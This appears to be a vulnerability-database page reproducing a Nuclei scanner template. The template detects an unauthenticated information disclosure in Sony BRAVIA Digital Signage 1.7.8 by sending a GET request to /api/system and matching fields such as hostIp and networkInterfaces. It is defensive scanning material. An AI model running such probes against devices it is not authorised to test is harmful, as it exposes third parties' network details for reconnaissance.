sony-bravia-disclosure: Sony BRAVIA Digital Signage 1.7.8 System API Information Disclosure

2025-08-01 Sony BRAVIA Digital Signage PoC Public

Description

The application is vulnerable to sensitive information disclosure vulnerability. An unauthenticated attacker can visit several API endpoints and disclose information running on the device.

PoC

id: sony-bravia-disclosure

info:
  name: Sony BRAVIA Digital Signage 1.7.8 System API Information Disclosure
  author: geeknik
  severity: low
  description: |
    The application is vulnerable to sensitive information disclosure vulnerability. An unauthenticated attacker can visit several API endpoints and disclose information running on the device.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5610.php
    - https://www.zeroscience.mk/codes/sonybravia_sysinfo.txt
  metadata:
    max-request: 1
  tags: misconfig,sony,unauth,exposure,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/system'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"contentsServer":'
          - '"networkInterfaces":'
          - '"serverTime":'
          - '"hostIp":'
        condition: and

      - type: word
        part: header
        words:
          - "text/plain"
          - "application/json"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205aa7be3a54930faa58fd1b8c838ccc533f349d2207b025c2aca00e3c5cbb21f4022100e5fa51a5a00eb21d2d860f5b74778ba4c77fb0025fb82a06fe29be6f03a9ae87:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/sony-bravia-disclosure.yaml

References

Related Vulnerabilities